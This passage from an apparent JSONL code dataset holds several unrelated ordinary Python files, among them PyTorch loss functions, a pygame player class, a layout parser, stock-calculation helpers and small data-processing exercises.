is None:\n def callback(data):\n default_callback(data)\n\n def listen():\n self.run()\n while self.alive:\n try:\n self.connections.poll(callback=callback)\n except Exception as e:\n pass\n\n thread = Thread(target=listen)\n thread.start()\n","sub_path":"knxpy/knxd_sh.py","file_name":"knxd_sh.py","file_ext":"py","file_size_in_byte":15578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"468588955","text":"from enum import Enum\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.modules.loss import _Loss\n\n\nclass Mode(Enum):\n BINARY = \"binary\"\n MULTICLASS = \"multiclass\"\n MULTILABEL = \"multilabel\"\n\n\nclass Loss(_Loss):\n \"\"\"Loss which supports addition and multiplication\"\"\"\n\n def __add__(self, other):\n if isinstance(other, Loss):\n return SumOfLosses(self, other)\n else:\n raise ValueError(\"Loss should be inherited from `Loss` class\")\n\n def __radd__(self, other):\n return self.__add__(other)\n\n def __mul__(self, value):\n if isinstance(value, (int, float)):\n return WeightedLoss(self, value)\n else:\n raise ValueError(\"Loss should be multiplied by int or float\")\n\n def __rmul__(self, other):\n return self.__mul__(other)\n\n\nclass WeightedLoss(Loss):\n \"\"\"\n Wrapper class around loss function that applies weighted with fixed factor.\n This class helps to balance multiple losses if they have different scales\n \"\"\"\n\n def __init__(self, loss, weight=1.0):\n super().__init__()\n self.loss = loss\n self.weight = torch.Tensor([weight])\n\n def forward(self, *inputs):\n l = self.loss(*inputs)\n self.weight = self.weight.to(l.device)\n return l * self.weight[0]\n\n\nclass SumOfLosses(Loss):\n def __init__(self, l1, l2):\n super().__init__()\n self.l1 = l1\n self.l2 = l2\n\n def __call__(self, *inputs):\n return self.l1(*inputs) + self.l2(*inputs)\n\n\nclass CrossEntropyLoss(Loss):\n \"\"\"\n CE with optional smoothing and support for multiple positive labels.\n Can accept one-hot encoded y_trues\n Supports only one reduction for now\n \"\"\"\n\n def __init__(self, mode=\"multiclass\", smoothing=0.0):\n \"\"\"\n Args:\n mode (str): Metric mode {'binary', 'multiclass'}\n 'binary' - calculate binary cross entropy\n 'multiclass' - calculate categorical cross entropy\n smoothing (float): How much to smooth values toward uniform\n \"\"\"\n super().__init__()\n self.mode = Mode(mode)\n self.confidence = 1.0 - smoothing\n self.smoothing = smoothing\n self.name = \"BCE\"\n\n def forward(self, y_pred, y_true):\n if self.mode == Mode.BINARY:\n y_pred, y_true = y_pred.squeeze(), y_true.squeeze()\n loss = F.binary_cross_entropy_with_logits(y_pred, y_true)\n return loss\n\n if len(y_true.shape) != 1:\n y_true_one_hot = y_true.float()\n else:\n num_classes = y_pred.size(1)\n y_true_one_hot = torch.zeros(y_true.size(0), num_classes, dtype=torch.float, device=y_pred.device)\n y_true_one_hot.scatter_(1, y_true.unsqueeze(1), 1.0)\n y_pred = y_pred.float()\n logprobs = F.log_softmax(y_pred, dim=1)\n # multiple labels handling\n nll_loss = -logprobs * y_true_one_hot\n nll_loss = nll_loss.sum(-1)\n smooth_loss = -logprobs.mean(dim=-1)\n loss = self.confidence * nll_loss + self.smoothing * smooth_loss\n return loss.mean()\n\n\ndef onehot(indexes, N=None, ignore_index=None):\n \"\"\"\n Creates a one-representation of indexes with N possible entries\n if N is not specified, it will suit the maximum index appearing.\n indexes is a long-tensor of indexes\n ignore_index will be zero in onehot representation\n \"\"\"\n if N is None:\n N = indexes.max() + 1\n sz = list(indexes.size())\n output = indexes.new().byte().resize_(*sz, N).zero_()\n output.scatter_(-1, indexes.unsqueeze(-1), 1)\n if ignore_index is not None and ignore_index >= 0:\n output.masked_fill_(indexes.eq(ignore_index).unsqueeze(-1), 0)\n return output\n\n\ndef _is_long(x):\n if hasattr(x, \"dataset\"):\n x = x.data\n return isinstance(x, torch.LongTensor) or isinstance(x, torch.cuda.LongTensor)\n\n\ndef cross_entropy(\n inputs,\n target,\n weight=None,\n ignore_index=-100,\n reduction=\"mean\",\n smooth_eps=None,\n smooth_dist=None,\n from_logits=True,\n):\n \"\"\"cross entropy loss, with support for target distributions and label smoothing https://arxiv.org/abs/1512.00567\"\"\"\n smooth_eps = smooth_eps or 0\n\n # ordinary log-liklihood - use cross_entropy from nn\n if _is_long(target) and smooth_eps == 0:\n if from_logits:\n return F.cross_entropy(inputs, target, weight, ignore_index=ignore_index, reduction=reduction)\n else:\n return F.nll_loss(inputs, target, weight, ignore_index=ignore_index, reduction=reduction)\n\n if from_logits:\n # log-softmax of inputs\n lsm = F.log_softmax(inputs, dim=-1)\n else:\n lsm = inputs\n\n masked_indices = None\n num_classes = inputs.size(-1)\n\n if _is_long(target) and ignore_index >= 0:\n masked_indices = target.eq(ignore_index)\n\n if smooth_eps > 0 and smooth_dist is not None:\n if _is_long(target):\n target = onehot(target, num_classes).type_as(inputs)\n if smooth_dist.dim() < target.dim():\n smooth_dist = smooth_dist.unsqueeze(0)\n target.lerp_(smooth_dist, smooth_eps)\n\n if weight is not None:\n lsm = lsm * weight.unsqueeze(0)\n\n if _is_long(target):\n eps_sum = smooth_eps / num_classes\n eps_nll = 1.0 - eps_sum - smooth_eps\n likelihood = lsm.gather(dim=-1, index=target.unsqueeze(-1)).squeeze(-1)\n loss = -(eps_nll * likelihood + eps_sum * lsm.sum(-1))\n else:\n loss = -(target * lsm).sum(-1)\n\n if masked_indices is not None:\n loss.masked_fill_(masked_indices, 0)\n\n if reduction == \"sum\":\n loss = loss.sum()\n elif reduction == \"mean\":\n if masked_indices is None:\n loss = loss.mean()\n else:\n loss = loss.sum() / float(loss.size(0) - masked_indices.sum())\n\n return loss\n\n\nclass CrossEntropyLossSmooth(nn.CrossEntropyLoss):\n \"\"\"CrossEntropyLoss - with ability to recieve distrbution as targets, and optional label smoothing\"\"\"\n\n def __init__(\n self, weight=None, ignore_index=-100, reduction=\"mean\", smooth_eps=None, smooth_dist=None, from_logits=True\n ):\n super(CrossEntropyLossSmooth, self).__init__(weight=weight, ignore_index=ignore_index, reduction=reduction)\n self.smooth_eps = smooth_eps\n self.smooth_dist = smooth_dist\n self.from_logits = from_logits\n\n def forward(self, input, target, smooth_dist=None):\n if smooth_dist is None:\n smooth_dist = self.smooth_dist\n return cross_entropy(\n input,\n target,\n weight=self.weight,\n ignore_index=self.ignore_index,\n reduction=self.reduction,\n smooth_eps=self.smooth_eps,\n smooth_dist=smooth_dist,\n from_logits=self.from_logits,\n )\n\n\nclass MultiLabelSoftMarginLoss(Loss):\n def __init__(self):\n super().__init__()\n self.loss = torch.nn.MultiLabelSoftMarginLoss()\n\n def forward(self, y_pred, y_true):\n if len(y_true.shape) != 1:\n y_true_one_hot = y_true.float()\n else:\n num_classes = y_pred.size(1)\n y_true_one_hot = torch.zeros(y_true.size(0), num_classes, dtype=torch.float, device=y_pred.device)\n y_true_one_hot.scatter_(1, y_true.unsqueeze(1), 1.0)\n\n return self.loss(y_pred, y_true_one_hot)\n","sub_path":"2nd Place/thunder-hammer/thunder_hammer/smooth.py","file_name":"smooth.py","file_ext":"py","file_size_in_byte":7423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"89481612","text":"#4. Implemente um programa que leia do utilizador as notas de 10 alunos e calcule a sua média. Considere\n#que as notas têm uma gama de valores de 0-20 (utilize a função da questão anterior). Implemente a\n#leitura e cálculo da média em funções independentes.\n\ndef reade_grades(min, max):\n notas = 0\n contador = 0\n MAXALUNOS=10\n for i in range(1, MAXALUNOS+1):\n grade = min - 1\n while grade < min or grade > max :\n grade = int(input(\"Insira a nota {}:\".format(i)))\n print(grade)\n notas += grade\n print(notas)\n contador += 1\n print(contador)\n print(calc_media(notas, contador))\n \n\n\ndef calc_media(notas, contador):\n media = notas / contador\n return media\n\nreade_grades(0 , 20)\n","sub_path":"f4exe4.py","file_name":"f4exe4.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"589042471","text":"import pygame\nimport math\n\nfrom OpenGL.GL import *\nfrom pygame.locals import *\n# stuff in pygame.locals:\n# JOYAXISMOTION\n# JOYBUTTONDOWN\n# JOYBUTTONUP\n\nfrom gamestructs import Vector\nfrom gamemath import TAU, EPSILON, move_direction2_toward, copysign\n\nclass Player (object):\n SLOWSPD = 1.5\n NORMSPD = 6.0\n FASTSPD = 24.0\n ANGSPD = TAU/3.0\n TUMBLSPD = 1.0\n GRAVSPD = 30.0\n JUMPSPD = 10.0\n ZOOMSPD = 5.0\n TURNSPD = TAU * 2.0\n\n def __init__ (self, pos, camera, heightmap):\n self.pos = pos\n self.heightmap = heightmap\n self.camera = camera\n\n self.prev_pos = self.pos[:]\n self.facing = self.direction2\n\n self.vel = Vector(0.0, 0.0, 0.0)\n self.hangvel = 0.0\n self.vangvel = 0.0\n self.tumbl = 0.0\n self.zoomvel = 0.0\n\n self.halfsize = Vector(0.4, 0.4, 0.4)\n\n self.ivec = Vector(0.0, 0.0) # input vector (for movement)\n self.iidx = Vector(0, 0)\n self.irot = Vector(0.0, 0.0) # input rotation\n self.irti = Vector(0, 0)\n self.izoom = 0\n self.ispeedlevel = 0\n self.ijump = False\n\n self.slowspd = self.SLOWSPD\n self.normspd = self.NORMSPD\n self.fastspd = self.FASTSPD\n self.angspd = self.ANGSPD\n self.tumblspd = self.TUMBLSPD\n self.gravspd = self.GRAVSPD\n self.jumpspd = self.JUMPSPD\n self.zoomspd = self.ZOOMSPD\n self.turnspd = self.TURNSPD\n\n @property\n def spd (self):\n if self.ispeedlevel < 0:\n return self.slowspd\n elif self.ispeedlevel > 0:\n return self.fastspd\n else:\n return self.normspd\n\n @property\n def direction2 (self):\n return (self.pos[:2] - self.camera.pos2).direction2\n\n def event (self, event):\n if event.type == JOYAXISMOTION:\n if event.axis in (0, 1):\n self.ivec[event.axis-0] = event.value\n elif event.axis in (2, 3):\n self.irot[event.axis-2] = event.value\n elif event.type in (JOYBUTTONDOWN, JOYBUTTONUP):\n if event.button == 1: # circle\n if event.type == JOYBUTTONDOWN:\n self.ijump = True\n if event.button == 7: # R2\n if event.type == JOYBUTTONDOWN:\n self.ispeedlevel += 1\n elif event.type == JOYBUTTONUP:\n self.ispeedlevel -= 1\n if event.button == 6: # L2\n if event.type == JOYBUTTONDOWN:\n self.ispeedlevel -= 1\n elif event.type == JOYBUTTONUP:\n self.ispeedlevel += 1\n if event.button == 5:\n if event.type == JOYBUTTONDOWN:\n self.izoom += 1\n elif event.type == JOYBUTTONUP:\n self.izoom -= 1\n if event.button == 4:\n if event.type == JOYBUTTONDOWN:\n self.izoom += -1\n elif event.type == JOYBUTTONUP:\n self.izoom -= -1\n if event.button == 0: # TRIANGLE\n if event.type == JOYBUTTONDOWN:\n self.pos.z += 32.0\n elif event.type in (KEYDOWN, KEYUP):\n if event.key == K_d:\n if event.type == KEYDOWN:\n self.iidx.x += 1\n else:\n self.iidx.x -= 1\n elif event.key == K_a:\n if event.type == KEYDOWN:\n self.iidx.x += -1\n else:\n self.iidx.x -= -1\n elif event.key == K_w:\n if event.type == KEYDOWN:\n self.iidx.y += 1\n else:\n self.iidx.y -= 1\n elif event.key == K_s:\n if event.type == KEYDOWN:\n self.iidx.y += -1\n else:\n self.iidx.y -= -1\n elif event.key == K_RIGHT:\n if event.type == KEYDOWN:\n self.irti.x += 1\n else:\n self.irti.x -= 1\n elif event.key == K_LEFT:\n if event.type == KEYDOWN:\n self.irti.x += -1\n else:\n self.irti.x -= -1\n elif event.key == K_UP:\n if event.type == KEYDOWN:\n self.irti.y += 1\n else:\n self.irti.y -= 1\n elif event.key == K_DOWN:\n if event.type == KEYDOWN:\n self.irti.y += -1\n else:\n self.irti.y -= -1\n elif event.key == K_SPACE:\n if event.type == KEYDOWN:\n self.ijump = True\n elif event.key == K_LSHIFT:\n if event.type == KEYDOWN:\n self.ispeedlevel += 1\n else:\n self.ispeedlevel -= 1\n elif event.key == K_LCTRL:\n if event.type == KEYDOWN:\n self.ispeedlevel += -1\n else:\n self.ispeedlevel -= -1\n #print pygame.event.event_name(event.type), event\n\n @staticmethod\n def _dumb_joystick (vec, whatvert=False):\n vec = vec[:]\n mag = vec.magnitude\n if mag > 1.0:\n vec.x /= mag\n vec.y /= mag\n elif mag <= 1.0/4.0:\n vec.x = 0.0\n vec.y = 0.0\n vec.y = -vec.y\n if whatvert:\n vec.x, vec.y = vec.y, -vec.x\n return vec\n\n @staticmethod\n def _dumb_arrowkeys (idx, whatvert=False):\n vec = Vector(*map(float, idx))\n mag = vec.magnitude\n if mag > 1.0/4.0:\n vec.x /= mag\n vec.y /= mag\n else:\n vec.x = 0.0\n vec.y = 0.0\n if whatvert:\n vec.x, vec.y = vec.y, -vec.x\n return vec\n\n def current_heightmap_z (self):\n z_max = -1000.0 # TODO this is dumb\n for i in range(4):\n dx = (i >> 0) & 1\n dy = (i >> 1) & 1\n corner2 = self.pos[:2]\n corner2.x -= self.halfsize.x\n corner2.y -= self.halfsize.y\n corner2.x += self.halfsize.x*2.0 * dx\n corner2.y += self.halfsize.y*2.0 * dy\n z_max = max(z_max, self.heightmap.z_at(corner2))\n return z_max\n\n def update (self, delta_time):\n # apply input\n # TODO fast?\n ivel = self._dumb_joystick(self.ivec, True) + self._dumb_arrowkeys(self.iidx, True)\n # TODO jump?\n iangvel = self._dumb_joystick(self.irot) + self._dumb_arrowkeys(self.irti)\n izoomvel = copysign(1.0, self.izoom)\n\n if ivel:\n # TODO clean this up\n self.facing = move_direction2_toward(\n self.facing,\n ivel.direction2+self.direction2,\n self.turnspd*delta_time\n )\n ivel.direction2 = self.facing\n self.vel.x = ivel.x * self.spd\n self.vel.y = ivel.y * self.spd\n else:\n self.vel.x = 0.0\n self.vel.y = 0.0\n self.vel.z += -self.gravspd*delta_time\n if self.ijump:\n if self.vel.z > 0.0:\n self.vel.z += self.jumpspd\n else:\n self.vel.z = self.jumpspd\n self.ijump = False\n self.hangvel = iangvel.x * self.angspd\n self.vangvel = iangvel.y * self.angspd\n self.zoomvel = izoomvel * self.zoomspd\n\n self.prev_pos[:] = self.pos\n\n self.pos.x += self.vel.x*delta_time\n self.pos.y += self.vel.y*delta_time\n self.pos.z += self.vel.z*delta_time\n\n self.camera.hrotate_around_subject(self.hangvel*delta_time)\n self.camera.vrotate_around_subject(self.vangvel*delta_time)\n self.camera.zoom(self.zoomvel*delta_time)\n\n distance_traveled = (self.pos[:2] - self.prev_pos[:2]).magnitude\n self.tumbl += self.tumblspd*distance_traveled\n\n def render (self):\n gl_texture_2d = glGetBoolean(GL_TEXTURE_2D)\n glDisable(GL_TEXTURE_2D)\n\n glPushMatrix()\n glTranslatef(*self.pos)\n glRotated(math.degrees(self.facing), 0.0, 0.0, 1.0)\n\n l, w, h = 2.0 * self.halfsize\n top = (1.0, 1.0, 1.0)\n back = left = right = (0.0, 0.8, 0.0)\n bottom = (0.0, 0.0, 0.0)\n front = (1.0, 1.0, 0.0)\n\n glPushMatrix()\n glRotated(math.degrees(self.tumbl), 0.0, 1.0, 0.0)\n glTranslated(-l/2.0, -w/2.0, -h/2.0)\n\n glBegin(GL_QUADS)\n # top\n glColor3f(*top)\n glNormal3d( 0.0, 0.0, 1.0)\n glVertex3f( 0.0, 0.0, h)\n glVertex3f( l, 0.0, h)\n glVertex3f( l, w, h)\n glVertex3f( 0.0, w, h)\n # bottom\n glColor3f(*bottom)\n glNormal3d( 0.0, 0.0,-1.0)\n glVertex3f( 0.0, 0.0, 0.0)\n glVertex3f( l, 0.0, 0.0)\n glVertex3f( l, w, 0.0)\n glVertex3f( 0.0, w, 0.0)\n # left\n glColor3f(*left)\n glNormal3d( 0.0, 1.0, 0.0)\n glVertex3f( 0.0, w, 0.0)\n glVertex3f( l, w, 0.0)\n glVertex3f( l, w, h)\n glVertex3f( 0.0, w, h)\n # right\n glColor3f(*right)\n glNormal3d( 0.0,-1.0, 0.0)\n glVertex3f( 0.0, 0.0, 0.0)\n glVertex3f( l, 0.0, 0.0)\n glVertex3f( l, 0.0, h)\n glVertex3f( 0.0, 0.0, h)\n # back\n glColor3f(*back)\n glNormal3d(-1.0, 0.0, 0.0)\n glVertex3f( 0.0, 0.0, 0.0)\n glVertex3f( 0.0, 0.0, h)\n glVertex3f( 0.0, w, h)\n glVertex3f( 0.0, w, 0.0)\n # front\n glColor3f(*front)\n glNormal3d( 1.0, 0.0, 0.0)\n glVertex3f( l, 0.0, 0.0)\n glVertex3f( l, 0.0, h)\n glVertex3f( l, w, h)\n glVertex3f( l, w, 0.0)\n glEnd()\n\n glPopMatrix() # -halfsize[:2] translation, tumbl rotation\n\n # shadow\n z = self.current_heightmap_z()\n glTranslated(-l/2.0, -w/2.0, -(self.pos.z - z))\n glBegin(GL_QUADS)\n glColor3f(0.0, 0.0, 0.0)\n glNormal3d( 0.0, 0.0, 1.0)\n glVertex3f( 0.0, 0.0, EPSILON)\n glVertex3f( l, 0.0, EPSILON)\n glVertex3f( l, w, EPSILON)\n glVertex3f( 0.0, w, EPSILON)\n glEnd()\n\n glPopMatrix() # facing rotation, pos translation, and also \"floor\" translation\n\n if gl_texture_2d:\n glEnable(GL_TEXTURE_2D)\n","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":10468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599879222","text":"##\n## Imprima la cantidad de registros por cada mes.\n##\n## 01,3\n## 02,4\n## 03,2\n## 04,4\n## 05,3\n## 06,3\n## 07,5\n## 08,6\n## 09,3\n## 10,2\n## 11,2\n## 12,3\n##\ndata=open('data.csv', 'r').readlines()\ndata=[line.replace('\\t', ';') for line in data]\ndata = [line.split(';')[2] for line in data]\nh=0\nfila=[str(column[5])+str(column[6]) for column in data]\nfil=sorted(set(fila))\nfor h in fil:\n print(\"{},{}\".format(h, fila.count(h)))\n","sub_path":"q04.py","file_name":"q04.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196134980","text":"import cv2\n\nimg = cv2.imread('lena.bmp', cv2.IMREAD_GRAYSCALE)\nrow, col = img.shape\n\n# diagonally mirrored\nfor i in range(row): \n for j in range(i):\n tmp = img[i][j]\n img[i][j] = img[j][i]\n img[j][i] = tmp\n \ncv2.imwrite('diagonally_mirrored.jpg', img)\ncv2.imshow('Image', img)\ncv2.waitKey(0)","sub_path":"cv_hw1/diagonally_mirrored.py","file_name":"diagonally_mirrored.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"423195848","text":"#!/usr/bin/env python3\n\n'''\nFile: layout.py\nAuthor: Tomáš Lessy\nEmail: lessy.mot@gmail.com\nGithub: https://github.com/lim3nius\nDescription: This module contains helper classes and functions for\n layout parsing and manipulation\n'''\n\n\nimport yaml\nimport math\nfrom logging import getLogger\nfrom sympy import Point\nfrom typing import Tuple, Union, List\nimport enum\nimport itertools\n\nlog = getLogger()\n\n\nclass RegionError(Exception):\n '''Exception representing that problem occured inside Region class'''\n pass\n\n\nclass RegionConfiguration:\n '''RegionConfiguration represents yaml file containing multiple layouts'''\n def __init__(self, *, regions=dict()):\n self.regions = regions\n\n def __repr__(self) -> str:\n s = '{' + ', '.join([f'\"{k}\"' for k in self.regions.keys()]) + '}'\n return 'RegionConfiguration: ' + s\n\n def get(self, key):\n return self.regions[key]\n\n @staticmethod\n def from_dict(di):\n regions = {}\n\n for r in di.get('layouts'):\n r = Region.from_dict(r)\n\n if not r.name:\n raise ValueError('Top level layout has to have name')\n\n if regions.get(r.name):\n raise ValueError(\n f'Found layout name \"{r.name}\" for second time!')\n\n regions[r.name] = r\n\n return RegionConfiguration(regions=regions)\n\n\ndirections = ['vertical', 'horizontal']\nDirection = enum.IntEnum('Direction', directions)\n\n\nclass Region:\n '''\n Region class represent single region region containing lines of text\n or divided into multiple other regions\n\n allows of iteration through regions returning bounding boxes for specified\n line numbers\n '''\n def __init__(self, width=100.0, height=100.0,\n *, padding=0, line_height=0, sub_regions=None, direction='',\n name: str = ''):\n if sub_regions and line_height:\n raise RegionError('line_height and sub_regions present')\n elif not (line_height or sub_regions):\n raise RegionError(\n 'have to define one of \"line_height\" or \"sub_regions\"')\n\n if sub_regions:\n if direction not in directions:\n raise RegionError(f'Invalid direction value: {direction}')\n\n if not direction:\n raise RegionError('Unspecified direction for sub regions')\n\n self.name = name\n self.line_height = line_height\n self.width = width\n self.height = height\n self.padding = padding\n self.direction = Direction.vertical if direction == 'vertical' \\\n else Direction.horizontal\n self.sub_regions = sub_regions\n self.box = None\n\n def __repr__(self) -> str:\n if self.name:\n return self.name\n else:\n return f''\n\n @staticmethod\n def from_dict(d):\n lh = d.get('line_height', 0)\n dir = d.get('direction', '')\n sr = d.get('sub_regions', None)\n padding = d.get('padding', 0)\n name = d.get('name', '')\n\n if sr:\n sr = [Region.from_dict(r) for r in sr]\n\n try:\n reg = Region(d['width'], d['height'],\n line_height=lh, sub_regions=sr, direction=dir,\n name=name, padding=padding)\n except RegionError as e:\n log.error('Unable to parse region: {e}')\n raise e\n\n return reg\n\n def compute_real_val(self, v, dimension):\n if isinstance(v, int):\n return v\n elif isinstance(v, float) and (0 < v <= 1.0):\n return math.floor(dimension * v)\n else:\n raise RegionError('invalid dimension value given')\n\n def fit_to_region(self, region: Tuple[Point, Point]):\n top_left, bot_right = region\n if self.padding:\n top_left += Point(self.padding, self.padding)\n bot_right -= Point(self.padding, self.padding)\n\n self.box = (top_left, bot_right)\n\n if self.line_height > 0:\n return\n\n def val(low, up, val):\n size = up - low + 1\n if isinstance(val, float):\n val = math.ceil(size * val)\n\n val -= 1\n return (low, low + val) if low + val < size else (low, up)\n\n # find splits\n if self.direction is Direction.vertical:\n height_intervals = divide_interval(\n top_left.y, bot_right.y, [r.height for r in self.sub_regions])\n width_intervals = [val(top_left.x, bot_right.x, r.width)\n for r in self.sub_regions]\n else:\n width_intervals = divide_interval(\n top_left.x, bot_right.x, [r.width for r in self.sub_regions])\n height_intervals = [val(top_left.y, bot_right.y, r.height)\n for r in self.sub_regions]\n\n zp = zip(self.sub_regions, width_intervals, height_intervals)\n for (reg, wi, hi) in zp:\n reg.fit_to_region((Point(wi[0], hi[0]), Point(wi[1], hi[1])))\n\n def __iter__(self):\n if not self.box:\n raise RegionError(\n 'Have to call \"fit_to_region\", before iterating')\n\n if self.line_height:\n return ((Point(self.box[0].x, y),\n Point(self.box[1].x, y + self.line_height - 1))\n for y in range(\n self.box[0].y, self.box[1].y, self.line_height)\n if y + self.line_height - 1 <= self.box[1].y)\n else:\n line_iters = [i for i in self.sub_regions.__iter__()]\n return itertools.chain(*line_iters)\n\n\nInterval = Tuple[int, int]\n\n\ndef divide_interval(lower: int, upper: int,\n chunks: List[Union[int, float]]) -> List[Interval]:\n '''\n divide_interval divides interval given by lower and upper bound\n (inclusively) into subintervals of specified length.\n If interval isn't big enough, other subinterval are added of length 0\n right at the end of given interval\n\n :returns: List of tuples containing lower boundary (inclusively) and upper\n boundary (exclusively)\n '''\n if lower < 0 or upper < 0 or lower > upper:\n raise ValueError('Invalid interval range')\n\n length = upper - lower + 1\n s = lower\n res = []\n\n for chunk in chunks:\n # if interval is already divided\n if s >= upper:\n res.append((upper, upper))\n continue\n\n # handle percentage of length\n if isinstance(chunk, float):\n chunk = math.ceil(length * chunk)\n\n if s + chunk - 1 <= upper:\n t = s + chunk - 1\n res.append((s, t))\n s = t + 1\n\n elif s + chunk > upper:\n res.append((s, upper))\n s = upper\n\n return res\n\n\ndef load_layouts(path: str) -> RegionConfiguration:\n '''load_layout loads region layouts specified in file pointed by path'''\n with open(path, 'r') as f:\n d = yaml.safe_load(f)\n\n return RegionConfiguration.from_dict(d)\n","sub_path":"helpers/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":7094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"152295910","text":"import numpy as np\n\n\n# '/'로 구분지어진 문자열을 리스트로 변환함.\ndef stringToList (strInput):\n\n listOutput = strInput.split('/')\n del listOutput[-1:]\n\n for i, value in enumerate(listOutput):\n listOutput[i] = float(value)\n\n listOutput.sort()\n\n return listOutput\n\n\n# 리스트를 '/'로 구분지어진 문자열로 변환함.\ndef listToString (listInput):\n\n strOutput = ''\n\n for unit in listInput:\n strOutput = strOutput + str(unit) + '/'\n\n return strOutput\n\n\n# outlier data 제거\ndef remove_outlier(input_list=None, weight=1.5):\n # target 값과 상관관계가 높은 열을 우선적으로 진행\n quantile_25 = np.percentile(input_list, 25)\n quantile_75 = np.percentile(input_list, 75)\n\n IQR = quantile_75 - quantile_25\n IQR_weight = IQR * weight\n\n lowest = quantile_25 - IQR_weight\n highest = quantile_75 + IQR_weight\n\n remove_outlier_data = []\n for input_value in input_list:\n if input_value < lowest or input_value > highest:\n continue\n remove_outlier_data.append(float(input_value))\n\n return remove_outlier_data\n\n\n# 1호가 단위가격 산출\ndef getTikPrice(stc_dvsn, now_price):\n\n tikPrice = 0\n\n if now_price < 1000:\n tikPrice = 1\n elif now_price < 5000:\n tikPrice = 5\n elif now_price < 10000:\n tikPrice = 10\n elif now_price < 50000:\n tikPrice = 50\n elif now_price < 100000:\n tikPrice = 100\n elif now_price < 500000:\n if stc_dvsn == '01':\n tikPrice = 500\n elif stc_dvsn == '02':\n tikPrice = 100\n else:\n if stc_dvsn == '01':\n tikPrice = 1000\n elif stc_dvsn == '02':\n tikPrice = 100\n\n return tikPrice\n\n\n# outlier data 제거\ndef remove_outlier(input_list=None, weight=1.5):\n # target 값과 상관관계가 높은 열을 우선적으로 진행\n quantile_25 = np.percentile(input_list, 25)\n quantile_75 = np.percentile(input_list, 75)\n\n IQR = quantile_75 - quantile_25\n IQR_weight = IQR * weight\n\n lowest = quantile_25 - IQR_weight\n highest = quantile_75 + IQR_weight\n\n remove_outlier_data = []\n for input_value in input_list:\n if input_value < lowest or input_value > highest:\n continue\n remove_outlier_data.append(float(input_value))\n\n return remove_outlier_data\n\n\n# 변이계수, coefficient of variation, CV\ndef coefficient_of_variation(valList):\n # 평균\n avg = np.mean(valList)\n\n # 표준편차\n std = np.std(valList)\n\n # 변이계수\n cv = round(std / avg * 100, 2)\n\n # 결과리턴\n return {\"avg\": avg, \"std\": std, \"cv\": cv}\n\n\n# 리스트 자르기\ndef divide_list(in_list, n):\n # 리스트 l의 길이가 n이면 계속 반복\n for i in range(0, len(in_list), n):\n yield in_list[i:i + n]\n","sub_path":"stockToKakao/commonModule/calcModule.py","file_name":"calcModule.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"293364186","text":"\"\"\"Filters through the provided Google AudioSet data for only clapping examples.\"\"\"\n\nimport pandas as pd\nimport youtube_dl as ytdl\n\nCLAPPING_LABEL = \"/m/0l15bq\"\n\ndf = pd.read_csv(\"data/unbalanced_train_segments.csv\")\nrows = []\nfor _, row in df.iterrows():\n pos_labels = row[\"positive_labels\"].split(\",\")\n if CLAPPING_LABEL in pos_labels:\n rows.append(row)\n\nrows = pd.DataFrame(rows)\n\nrows.to_csv(\"data/clapping_audio.csv\", header=df.columns.values, index=False)\n\n","sub_path":"filter_csv.py","file_name":"filter_csv.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"421174862","text":"from string import punctuation\n\n\ninput_string = \"g fmnc wms bgblr rpylqjyrc gr zw fylb. rfyrq ufyr amknsrcpq ypc dmp. bmgle gr gl zw fylb gq glcddgagclr ylb rfyr'q ufw rfgq rcvr gq qm jmle. sqgle qrpgle.kyicrpylq() gq pcamkkclbcb. lmu ynnjw ml rfc spj.\"\n\ninput_string = 'map'\n\ndef translate(in_string):\n map = {}\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\n shift=2\n for i,c in enumerate(alphabet):\n map[c] = alphabet[(i+shift)%26]\n map[' '] = ' '\n for c in punctuation:\n map[c] = c\n return \"\".join([map[c] for c in in_string])\n\nprint(translate(input_string))\n\nt = bytes.maketrans(bytes('abcdefghijklmnopqrstuvwxyz \\'.','utf-8'),\n bytes('cdefghijklmnopqrstuvwxyzab \\'.','utf-8'))\nprint(bytes.translate(bytes(input_string,'utf-8'),t))\n","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"381855921","text":"\nFEED_URL\t\t= \t\"http://video.adultswim.com/adultswimdynamic/asfix-svc/episodeSearch/getAllEpisodes?sortByEpisodeRanking=DESC&categoryName=&filterByEpisodeType=PRE,EPI&filterByCollectionId=&filterByAuthType=true&networkName=AS\"\nEPISODE_LIST\t= \t\"http://video.adultswim.com/adultswimdynamic/asfix-svc/episodeSearch/getAllEpisodes?sortByDate=DESC&filterByEpisodeType=PRE,EPI&filterByCollectionId=%s&filterByAuthType=true&networkName=AS\" #limit=0&offset=0&\n\n####################################################################################################\ndef Start():\n\tObjectContainer.title1 = '[adult swim]'\n\tDirectoryObject.thumb = R('icon-default.png')\n\tDirectoryObject.art = R('art-default.jpg')\n\tEpisodeObject.art = R('art-default.jpg')\n\n####################################################################################################\n@handler('/video/adultswim', '[adult swim]')\ndef VideoMainMenu():\n\toc = ObjectContainer()\n\tdata = XML.ElementFromURL(FEED_URL)\n\tshow_ids = []\n\tfor episode in data.xpath('//episode'):\n\t\tshowId = episode.get('showId')\n\t\tshowName = episode.get('collectionTitle')\n\t\tif showId in 